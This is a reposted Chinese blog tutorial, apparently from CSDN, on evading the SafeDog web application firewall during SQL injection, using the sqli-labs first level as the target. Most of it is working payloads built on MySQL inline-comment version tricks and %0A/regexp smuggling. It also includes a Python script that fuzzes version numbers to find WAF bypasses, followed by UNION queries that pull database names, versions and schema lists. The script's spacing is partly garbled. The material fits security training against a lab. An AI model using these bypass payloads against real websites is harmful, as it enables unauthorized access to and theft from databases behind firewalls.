0


安全狗SQL注入绕过

安全狗SQL注入绕过

本文用sqli-labs第一关为例

一、简单注入

开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了

1' and 1=1 %23

在这里插入图片描述

寻找被安全狗匹配的特征字符,这里没被拦截

1' and %23

在这里插入图片描述

原来是当and 与 xx=xx 同时出现的时候会被安全狗识别

在这里插入图片描述

1.1 简单注入绕过方式

这里可以使用mysql的内联注释来进行绕过

**内联注释

/*! */

*:在mysql中,/! */被称为内联注释,里面的内容是会被mysql解析的,解析情况分为以下两种:

1.当/*!紧跟数据库版本号时

​ 这种情况表示,当目前的数据库版本号大于指定的版本号时,里面的内容才会被解释SQL语句,否则会被当做注释处理而被忽略掉

CREATE DATABASE `mydb` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci */

表示当 MySQL 的版本号大于 4.1.00 时,后面的 SQL 语句才会被执行。

2.当/*!不紧跟版本号时

​ 这种情况下,里面的内容会被当做SQL语句解析执行

-- 内联注释语句
SELECT * FROM `demo` /*! where id = 2 */;

-- 解析后的语句相当于
SELECT * FROM `demo` where id = 2;

总结:一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况。

1.2 寻找版本号

import sys

import requests
from fake_useragent import UserAgent

deffuzz_start(url):for i inrange(10000,50000):
        ua = UserAgent()
        base_url ="{0}/?id=-1'/*!{1}or*/ 1=1 %23".format(url,str(i))
        ret = requests.get(base_url, ua.random).text
        if"拦截"notin ret:print("fuzz succee! url is:")print(base_url)if __name__ =='__main__':
    url = sys.argv[1:]
    fuzz_start(url[0])

代码运行后发现有很多能绕过安全狗的版本号

在这里插入图片描述

使用内联进注释行注入

id=-1' /*!11445or*/ 1=1 %23

在这里插入图片描述

使用内联注释绕过waf,实现简单注入成功

二、绕过联合注入

常规方法检测列数被拦截

1' order by 1 %23

在这里插入图片描述

将order by替换为group by便直接绕过

1’ group by 3 %23

在这里插入图片描述

爆破显示位时,union 和 select 被拦截

1' union select 1,2,3 %23

在这里插入图片描述

2.1 联合注入绕过方式

这里使用mysql自带的正则函数(regexp)

select * from company_info where name like '桑尼';  //查询name等于桑尼的数据
select * from company_info where name regexp '桑尼'; //查询结果中name包含桑尼的数据

绕过代码

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,2,3 %23

 %0A : 换行
 %23 : #

在这里插入图片描述

2.2 获取详细信息

尝试获取数据库名、版本,因database()被识别被拦截

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23

在这里插入图片描述

使用内联注释获拼接得数据库名与版本号

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23

在这里插入图片描述

2.3 注入出表名

-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/

/*!--+/*%0ainformation_schema./*!schemata*/ --+

在这里插入图片描述

标签: sql 安全 数据库

本文转载自: https://blog.csdn.net/qq_38675102/article/details/128961037
版权归原作者 Lend me 所有, 如有侵权,请联系我们删除。

“安全狗SQL注入绕过”的评论:

还没有评论